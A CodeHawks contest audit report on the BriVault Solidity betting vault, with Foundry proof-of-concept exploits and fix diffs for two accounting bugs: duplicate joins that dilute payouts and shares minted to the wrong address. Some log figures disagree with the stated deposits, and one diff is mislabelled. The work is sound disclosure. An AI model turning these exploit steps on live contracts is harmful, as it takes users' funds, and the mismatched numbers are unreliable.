Kode-n-Rolla

BriVault
Security Review

Nov 6th 2025 - Nov 13th 2025

Table of Contents

Whoami

I am Pavel (aka *kode-n-rolla*), an independent security researcher.

Driven by a passion for decentralization and security, I focus on strengthening blockchain ecosystems.

I believe that security is an ongoing process, and my work contributes to making systems more resilient and reliable.

Disclaimer

This report reflects a time-boxed security review performed as part of a ***CodeHawks*** audit contest.

The analysis focuses exclusively on the security aspects of the reviewed ***Solidity*** codebase and does not guarantee the discovery of all potential vulnerabilities.

Findings represent the issues identified during the allotted review period and should not be considered an endorsement of the underlying protocol, business model, or operational security practices.

Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	H	H/M	M
Likelihood: Medium	H/M	M	M/L
Likelihood: Low	M	M/L	L

I used *CodeHawks* severity matrix to determine severity.

Impact refers to the potential harm or consequence to the users or the protocol due to the vulnerability.

- *High Impact*:
    - Funds are directly or nearly directly at risk

    - There's a severe disruption of protocol functionality or availability.
- *Medium Impact*:
    - Funds are indirectly at risk.
    - There's some level of disruption to the protocol's functionality or availability.
- *Low Impact*:
    - Funds are not at risk.
    - However, a function might be incorrect, the state might not be handled appropriately, etc.

Protocol Summary

BriVault is a tournament betting vault implemented using the *ERC4626* tokenized vault standard. The protocol allows participants to deposit an *ERC20* asset into the vault and associate their deposit with a selected team prior to the start of a tournament.

After the tournament concludes, the contract owner sets the winning team. Participants who bet on the correct team are then able to withdraw their proportional share of the total pooled assets based on the value of their deposits. Deposits associated with losing teams are effectively redistributed to the winners.

By adhering to the *ERC4626* standard, BriVault exposes a tokenized vault interface that enables compatibility with DeFi tooling and integrations that support standardized vault mechanics.

From a security perspective, the protocol relies on correct enforcement of deposit and withdrawal rules, accurate accounting of user positions and team associations, proper handling of pooled assets, and trust assumptions around the owner-controlled selection of the winning team. Any inconsistencies in state accounting, access control, or lifecycle management of the vault can directly impact fund safety and fairness of the tournament outcome.

Audit Details

This audit was conducted as part of a time-boxed competitive security review hosted on the *CodeHawks* platform. The assessment focused exclusively on the ***Solidity*** smart contract logic and its adherence to intended game mechanics, security assumptions, and fund safety.

The review did not include off-chain components, frontend integrations, or economic modeling beyond what is explicitly enforced by the contract code.

The review was performed during the "Bri Vault" *CodeHawks* audit event.

Scope

The audit scope consisted of the following smart contract:

```
├── src
│   ├── briTechToken.sol
│   └── briVault.sol
```

Roles

- Owner

The Owner is a privileged account responsible for administering the tournament lifecycle. This role is exclusively authorized to set the winning team after the tournament has concluded.

The protocol assumes the Owner acts according to the intended tournament outcome when finalizing results.

- User (Participant / Bettor)

A User is an unprivileged account that participates in the tournament by depositing the underlying ERC20 asset into the vault along with the required participation fee. Users must associate their deposit with a selected team before the tournament starts.

Users are expected to:

- Deposit only before the tournament begins.
- Participate in a tournament only after a valid deposit has been made.
- Withdraw funds only if their selected team is declared the winner.

Users do not have permission to modify tournament parameters or influence winner selection.

Executive Summary

This security review assessed the BriVault tournament betting vault, with a focus on *ERC4626* accounting, participant lifecycle enforcement, and correctness of payout distribution.

The review identified two high-severity issues that break core accounting invariants of the vault. The first issue allows duplicate *joinEvent* entries for the same participant, which inflates *totalWinnerShares* and distorts payout calculations. As a result, winners may receive less than their fair share, while the vault's internal accounting becomes inconsistent with actual deposits.

The second issue stems from a mismatch between the address credited with deposited funds and the address receiving minted vault shares. Funds are recorded for the declared receiver, while shares are minted to the caller, breaking the fundamental *ERC4626* invariant that shares must accurately represent a claim on underlying assets. This can lead to incorrect ownership attribution, unfair payouts, and potential fund misallocation.

Together, these issues undermine the correctness and fairness of the tournament outcome and can result in material financial discrepancies for participants. Without remediation, the protocol cannot reliably guarantee proportional distribution of pooled assets to winning users.

Issue found

Severity	Issue
High	Duplicate *joinEvent* Entries Inflate *totalWinnerShares*
High	Funds Recorded for Receiver While Shares Are Minted to Caller

Findings

High

[H-01] Duplicate *joinEvent* Entries Inflate *totalWinnerShares*

Description

- **Intended Behavior:**

In a normal tournament flow, users deposit assets into the vault, call *joinEvent(countryId)* to select a team, and—after the owner sets the winning team—eligible users call *withdraw()* to receive their proportional share of the pooled assets.

Each winner's payout is computed as:

```
assetToWithdraw = shares * finalizedVaultAsset / totalWinnerShares
```

where:

- *userShares* is the user's vault share balance, and
- *totalWinnerShares* is the sum of recorded shares for all participants who selected the winning team.

- **Actual Behavior:**

The *joinEvent()* function appends *msg.sender* to the *usersAddress* array **without checking for duplicates.** During settlement, *_getWinnerShares()* iterates over *usersAddress* and adds *userSharesToCountry[user][winnerCountryId]* **for every array entry.**

As a result, if the same address is recorded multiple times in *usersAddress*, its shares are counted multiple times in *totalWinnerShares*, while that user's actual withdrawable balance (*balanceOf(msg.sender)*) remains unchanged.

This inflates the denominator in the payout formula and reduces the payout for all winners.

```
function joinEvent(uint256 countryId) public {
    // ...
    userToCountry[msg.sender] = teams[countryId];

    uint256 participantShares = balanceOf(msg.sender);
    userSharesToCountry[msg.sender][countryId] = participantShares;

@> usersAddress.push(msg.sender);  // duplicate entries allowed here

    numberOfParticipants++;
    totalParticipantShares += participantShares;
    // ...
}

function _getWinnerShares () internal returns (uint256) {
    // no reset of totalWinnerShares; loops over usersAddress entries
(duplicates counted)
@>  for (uint256 i = 0; i < usersAddress.length; ++i) {
        address user = usersAddress[i];
        totalWinnerShares += userSharesToCountry[user][winnerCountryId];
    }
    return totalWinnerShares;
}
```

Impact

- **Payout Dilution:** Winners receive less than their fair share due to an inflated *totalWinnerShares*.
- **Griefing Vector:** An attacker can reduce payouts for all honest winners without adding additional funds to the pool.

- **Gas-Based DoS Risk:** In extreme cases, an excessively large *usersAddress* array can increase gas costs of *setWinner() / _getWinnerShares()* and potentially cause settlement failures.

Likelihood

- A participant can call *joinEvent()* repeatedly after a single deposit; no guard prevents duplicate joins.
- An attacker can cheaply inflate *usersAddress* either by repeated calls from one address or by using multiple low-cost Sybil addresses.
- The behavior is deterministic and requires no special conditions.

Example

- Per-user deposit: 0.5 ETH
- Participation fee: 1.5% → effective stake = 0.4925 ETH

Honest scenario (2 unique participants):

- finalizedVaultAssets = 0.985 ETH
- totalWinnerShares = 0.985 ETH
- Payout per winner = 0.4925 ETH

Attack scenario (one user calls *joinEvent()* 3×):

- finalizedVaultAssets = 0.985 ETH
- totalWinnerShares = 1.97 ETH
- Payout per winner = 0.24625 ETH

The attacker does not need to add extra funds—only to duplicate *joinEvent()* entries—to halve all winners' payouts.

Proof of Concept

- Attack scenario:

```
    function test_duplicateJoin_affectsPayouts() public {
        uint256 countryId = 5;
        uint256 depositAmt = 0.5 ether;
        uint256 dupCount = 3; // total joins by attacker = dupCount (1
initial + dupCount-1 repeats)
```

```
        // 1) prepare approvals & balances in setUp() you already minted
tokens to user1,user2
        vm.prank(user1);
        mockToken.approve(address(briVault), type(uint256).max);
        vm.prank(user2);
        mockToken.approve(address(briVault), type(uint256).max);

        // 2) both deposit and join once
        vm.startPrank(user1);
        briVault.deposit(depositAmt, user1);
        briVault.joinEvent(countryId);
        vm.stopPrank();

        vm.startPrank(user2);
        briVault.deposit(depositAmt, user2);
        briVault.joinEvent(countryId);
        vm.stopPrank();

        // 3) attacker repeats joinEvent multiple times (duplicates in
usersAddress)
        for (uint256 i = 0; i < (dupCount - 1); ++i) {
            vm.prank(user1);
            briVault.joinEvent(countryId);
        }

        // 4) Log array length and entries to prove duplicates
        uint256 count = briVault.numberOfParticipants();
        console.log("numberOfParticipants (after duplicates):", count);

        for (uint256 i = 0; i < count; ++i) {
            address a = briVault.usersAddress(i);
            console.log("usersAddress[", i, "] =", a);
            // also log snapshot & shares for clarity
            console.log("  snapshot:", briVault.userSharesToCountry(a,
countryId));
            console.log("  shares:", briVault.balanceOf(a));
        }

        // 5) Advance time to after event end and call setWinner
        vm.warp(block.timestamp + 40 days); // ensure > eventEndDate
        vm.prank(owner);
        string memory w = briVault.setWinner(countryId);
        console.log("winner set:", w);

        // 6) Log totals computed
        console.log("totalWinnerShares:", briVault.totalWinnerShares());
        console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());

        // 7) Record balances before withdraw
        uint256 balUser1Before = mockToken.balanceOf(user1);
        uint256 balUser2Before = mockToken.balanceOf(user2);
        console.log("balances before withdraw user1:", balUser1Before, "
user2:", balUser2Before);
```

```
        // 8) Withdraw for both (attacker and honest user)
        vm.prank(user1);
        briVault.withdraw();

        vm.prank(user2);
        briVault.withdraw();

        // 9) Log balances after withdraw
        uint256 balUser1After = mockToken.balanceOf(user1);
        uint256 balUser2After = mockToken.balanceOf(user2);
        console.log("balances after withdraw user1:", balUser1After, "
user2:", balUser2After);

        // 10) Useful derived logs: what each received
        console.log("user1 received:", balUser1After - balUser1Before);
        console.log("user2 received:", balUser2After - balUser2Before);

        // Assertions to make PoC explicit:
        // - attacker did create duplicates
        assertGt(count, 2, "should have more than 2 participants entries
after duplicates");
        // - totalWinnerShares should be > sum of two unique shares (due to
duplicates)
        // (we can't assert exact value generically, but we can assert
attacker dilution happens):
        uint256 receivedUser2 = balUser2After - balUser2Before;
        uint256 receivedUser1 = balUser1After - balUser1Before;
        assertLt(receivedUser2, receivedUser1 + 1e6, "honest user's payout
decreased (rough check)"); // weak but indicative
    }
```

- Attack logs

```
[PASS] test_duplicateJoin_affectsPayouts() (gas: 649711)

Logs:
  numberOfParticipants (after duplicates): 4
  usersAddress[ 0 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
    snapshot: 4925000000000000000
    shares: 4925000000000000000
  usersAddress[ 1 ] = 0x537C8f3d3E18dF5517a58B3fB9D9143697996802
    snapshot: 4925000000000000000
    shares: 4925000000000000000
  usersAddress[ 2 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
    snapshot: 4925000000000000000
    shares: 4925000000000000000
  usersAddress[ 3 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
    snapshot: 4925000000000000000
    shares: 4925000000000000000
  totalWinnerShares: 19700000000000000000
  finalizedVaultAsset: 9850000000000000000
  balances before withdraw user1: 195000000000000000000  user2:
195000000000000000000
  balances after withdraw user1: 197462500000000000000  user2:
197462500000000000000
  user1 received: 2462500000000000000
  user2 received: 2462500000000000000
```

- Honest scenario

```
  function test_honestUsers() public {
        uint256 countryId = 7;
        uint256 deposit = 0.5 ether;


        // Approve tokens
        vm.prank(user1);
        mockToken.approve(address(briVault), type(uint256).max);
        vm.prank(user2);
        mockToken.approve(address(briVault), type(uint256).max);

        // Both deposit and join
        vm.startPrank(user1);
        briVault.deposit(deposit, user1);
        briVault.joinEvent(countryId);
        vm.stopPrank();

        vm.startPrank(user2);
        briVault.deposit(deposit, user2);
        briVault.joinEvent(countryId);
        vm.stopPrank();

        uint256 count = briVault.numberOfParticipants();
        console.log("numberOfParticipants:", count);

        vm.warp(block.timestamp + 40 days);
        vm.prank(owner);
        string memory w = briVault.setWinner(countryId);

        console.log("totalWinnerShares:", briVault.totalWinnerShares());
        console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());

        uint256 balUser1Before = mockToken.balanceOf(user1);
        uint256 balUser2Before = mockToken.balanceOf(user2);
        console.log("balances before withdraw user1:", balUser1Before, "
user2:", balUser2Before);
```

```
        vm.prank(user1);
        briVault.withdraw();

        vm.prank(user2);
        briVault.withdraw();

        uint256 balUser1After = mockToken.balanceOf(user1);
        uint256 balUser2After = mockToken.balanceOf(user2);
        console.log("balances after withdraw user1:", balUser1After, "
user2:", balUser2After);

        console.log("user1 received:", balUser1After - balUser1Before);
        console.log("user2 received:", balUser2After - balUser2Before);
    }
```

- Honest logs

```
[PASS] test_honestUsers() (gas: 528781)
Logs:
  numberOfParticipants: 2
  totalWinnerShares: 985000000000000000
  finalizedVaultAsset: 985000000000000000
  balances before withdraw user1: 19500000000000000000  user2:
19500000000000000000
  balances after withdraw user1: 19992500000000000000  user2:
19992500000000000000
  user1 received: 492500000000000000
  user2 received: 492500000000000000
```

Recommended Mitigation

- Use *OpenZeppelin* libraries for prevent reentrancy attack:

```
+import {ReentrancyGuard} from
"@openzeppelin/contracts/security/ReentrancyGuard.sol";
...
-contract BriVault is ERC4626, Ownable {
+contract BriVault is ERC4626, Ownable, ReentrancyGuard {
```

- Add checking mapping to mapping block and error:

```diff
+    // prevent duplicate join from same address
+    mapping(address => bool) public hasJoined;
...
+    error AlreadyJoined();
```

- Update `joinEvent()`:

```diff
-    function joinEvent(uint256 countryId) public {
+    function joinEvent(uint256 countryId) public nonReentrant {
         if (stakedAsset[msg.sender] == 0) {
             revert noDeposit();
         }

         // Ensure countryId is a valid index in the `teams` array
         if (countryId >= teams.length) {
             revert invalidCountry();
         }

         if (block.timestamp > eventStartDate) {
             revert eventStarted();
         }
+
+        // Prevent duplicate joins from the same address (minimal fix)
+        if (hasJoined[msg.sender]) {
+            revert AlreadyJoined();
+        }
+        hasJoined[msg.sender] = true;
+
         userToCountry[msg.sender] = teams[countryId];

         uint256 participantShares = balanceOf(msg.sender);
         userSharesToCountry[msg.sender][countryId] = participantShares;

         usersAddress.push(msg.sender);

         numberOfParticipants++;
         totalParticipantShares += participantShares;

         emit joinedEvent(msg.sender, countryId);
     }
```

- Reset flag in `cancelParticipation()`:

```
    function cancelParticipation () public  {
        if (block.timestamp >= eventStartDate){
           revert eventStarted();
        }
        uint256 refundAmount = stakedAsset[msg.sender];

        stakedAsset[msg.sender] = 0;

         uint256 shares = balanceOf(msg.sender);

        _burn(msg.sender, shares);

-        IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+        // reset joined-flag so user can re-join or join in next event
+        if (hasJoined[msg.sender]) {
+            hasJoined[msg.sender] = false;
+        }
+
+        IERC20(asset()).safeTransfer(msg.sender, refundAmount);
    }
```

- Resetting the accumulator before counting the winner`s shares:

```
    function _getWinnerShares () internal returns (uint256) {
+        // reset accumulator to avoid accumulation on repeated calls
+        totalWinnerShares = 0;

        for (uint256 i = 0; i < usersAddress.length; ++i) {
            address user = usersAddress[i];
           totalWinnerShares += userSharesToCountry[user][winnerCountryId];
        }
        return totalWinnerShares;
    }
```

- Mark *deposit()* and *withdraw()* as *nonReentrant*:

```
    function _getWinnerShares () internal returns (uint256) {
- function deposit(uint256 assets, address receiver) public override returns
(uint256) {
+ function deposit(uint256 assets, address receiver) public override
nonReentrant returns (uint256) {
...
- function withdraw() external winnerSet {
+ function withdraw() external winnerSet nonReentrant {
```

[H-02] Funds Recorded for Receiver While Shares Are Minted to Caller

Description

- **Intended Behavior:**

When a user deposits assets into the vault, the protocol should ensure that:

1. The economic stake is recorded for the correct participant.
2. Vault shares representing that stake are minted to the same participant (or an explicitly designated beneficiary).
3. The share holder can subsequently call *`joinEvent()`* and receive a valid snapshot used for payout calculations.

In short: **stake accounting and share ownership must remain aligned** to preserve correct participation and payout logic.

- **Actual Behavior:**

The *`deposit(assets, receiver)`* function records the deposited assets under *`stakedAsset[receiver]`* but mints vault shares to *`msg.sender`*. This creates a mismatch between the address recorded as having deposited funds and the address that actually holds the ERC4626 shares.

As a result:

- The address holding shares may not be able to join the event, because *`joinEvent()`* checks *`stakedAsset[msg.sender]`*.
- The address recorded as the staker has no shares, leading to zero snapshots during settlement.
- Payout logic becomes inconsistent and may fail at runtime.

```
    function deposit(uint256 assets, address receiver) public override
returns (uint256) {
        require(receiver != address(0));

        if (block.timestamp >= eventStartDate) {
            revert eventStarted();
        }

        uint256 fee = _getParticipationFee(assets);
        // charge on a percentage basis points
        if (minimumAmount + fee > assets) {
            revert lowFeeAndAmount();
        }

        uint256 stakeAsset = assets - fee;

@>      stakedAsset[receiver] = stakeAsset; // stake recorded for `receiver`
(not for caller)

        uint256 participantShares = _convertToShares(stakeAsset);


        IERC20(asset()).safeTransferFrom(msg.sender,
participationFeeAddress, fee);

        IERC20(asset()).safeTransferFrom(msg.sender, address(this),
stakeAsset);

@>      _mint(msg.sender, participantShares); // shares minted to msg.sender
(caller) instead of `receiver`

        emit deposited (receiver, stakeAsset);

        return participantShares;
    }
```

Impact

- **Denial of Participation / Incorrect Entitlement:**
  The economic stake is recorded for one address while shares are owned by another. The recorded staker cannot claim their expected benefits, and the share holder may be blocked from participating entirely.
- **Broken Payout Accounting:**
  Zero or missing snapshots for winners can lead to *totalWinnerShares == 0*, causing division-by-zero panics or incorrect payout calculations.

- **Griefing & Confusion:**
  Honest participants can be excluded from payouts or receive zero returns despite valid deposits, undermining trust in the protocol's fairness.

Likelihood

- The issue is trivially reproducible using the public `deposit(assets, receiver)` interface.
- Caller ≠ receiver is a common pattern in real-world usage (delegated deposits, custodial flows, meta-transactions, or UI mistakes).
- Integrations and front-ends that expose a receiver/beneficiary field significantly increase exposure.

Proof of Concept

A test demonstrates that depositing with caller ≠ receiver results in:

- Funds recorded for the receiver.
- Shares minted to the caller.
- Zero snapshot for the intended participant.
- Withdrawal failures or incorrect payouts after the winner is set.

```
function test_wrongUserInteract() public {
        uint256 countryId = 4;
        uint256 depositAmount = 1 ether;

        // 1) user1 deposits but sets receiver = user2
        vm.startPrank(user1);
        mockToken.approve(address(briVault), type(uint256).max);
        briVault.deposit(depositAmount, user2);
        vm.stopPrank();

        // Compute expected fee/stake
        uint256 fee = (depositAmount * participationFeeBsp) / 10000; //
participationFeeBsp is set in setUp()
        uint256 stake = depositAmount - fee;

        // 2) sanity checks
        // stakedAsset: recorded for receiver (user2), not caller (user1)
        assertEq(briVault.stakedAsset(user1), 0, "expected user1 stakedAsset
== 0");
```

```
        assertEq(briVault.stakedAsset(user2), stake, "expected user2
stakedAsset == stake");

        // minted vault-shares (BTT) went to caller (user1)
        assertEq(briVault.balanceOf(user1), stake, "expected user1 to hold
minted shares");
        assertEq(briVault.balanceOf(user2), 0, "expected user2 to hold no
shares");

        // log a compact state summary
        console.log("STATES: stake(user2):", briVault.stakedAsset(user2), "
shares(user1):", briVault.balanceOf(user1));

        // 3) user2 joins: but balanceOf(user2) == 0 so snapshot will be
zero
        vm.prank(user2);
        briVault.joinEvent(countryId);

        // Confirm snapshot was zero (this is the root of the later panic)
        uint256 snap2 = briVault.userSharesToCountry(user2, countryId);
        assertEq(snap2, 0, "expected snapshot for user2 == 0 (no shares)");

        // 4) user1 cannot join (noDeposit) — assert that revert is the
custom error
        bytes4 noDepositSelector = bytes4(keccak256("noDeposit()"));
        vm.expectRevert(abi.encodeWithSelector(noDepositSelector));
        vm.prank(user1);
        briVault.joinEvent(countryId);

        // 5) advance time and set winner
        vm.warp(block.timestamp + 40 days);
        vm.prank(owner);
        briVault.setWinner(countryId);

        // 6) withdraw would panic with division-by-zero because
totalWinnerShares == 0
        // Expect exact Panic(uint256) with code 0x12 (division or modulo by
zero)
        bytes memory panicPayload =
abi.encodeWithSelector(bytes4(keccak256("Panic(uint256)")), uint256(0x12));
        vm.expectRevert(panicPayload);
        vm.prank(user2);
        briVault.withdraw();
    }
```

Recommended Mitigation

Ensure that share minting and stake accounting target the **same beneficiary**. Specifically:

- Mint vault shares to *receiver* instead of *msg.sender* so that share ownership aligns with the recorded stake.
- Maintain a strict invariant: **the address recorded as staked must be the address holding the corresponding shares.**

```
    function deposit(uint256 assets, address receiver) public override
returns (uint256) {
        require(receiver != address(0));

        if (block.timestamp >= eventStartDate) {
            revert eventStarted();
        }

        uint256 fee = _getParticipationFee(assets);
        // charge on a percentage basis points
        if (minimumAmount + fee > assets) {
            revert lowFeeAndAmount();
        }

        uint256 stakeAsset = assets - fee;

        stakedAsset[receiver] = stakeAsset;

        uint256 participantShares = _convertToShares(stakeAsset);


        IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress,
fee);

        IERC20(asset()).safeTransferFrom(msg.sender, address(this),
stakeAsset);

-       _mint(msg.sender, participantShares);
+       // Mint shares to receiver (beneficiary)
+       _mint(receiver, participantShares);


        emit deposited (receiver, stakeAsset);

        return participantShares;
    }
```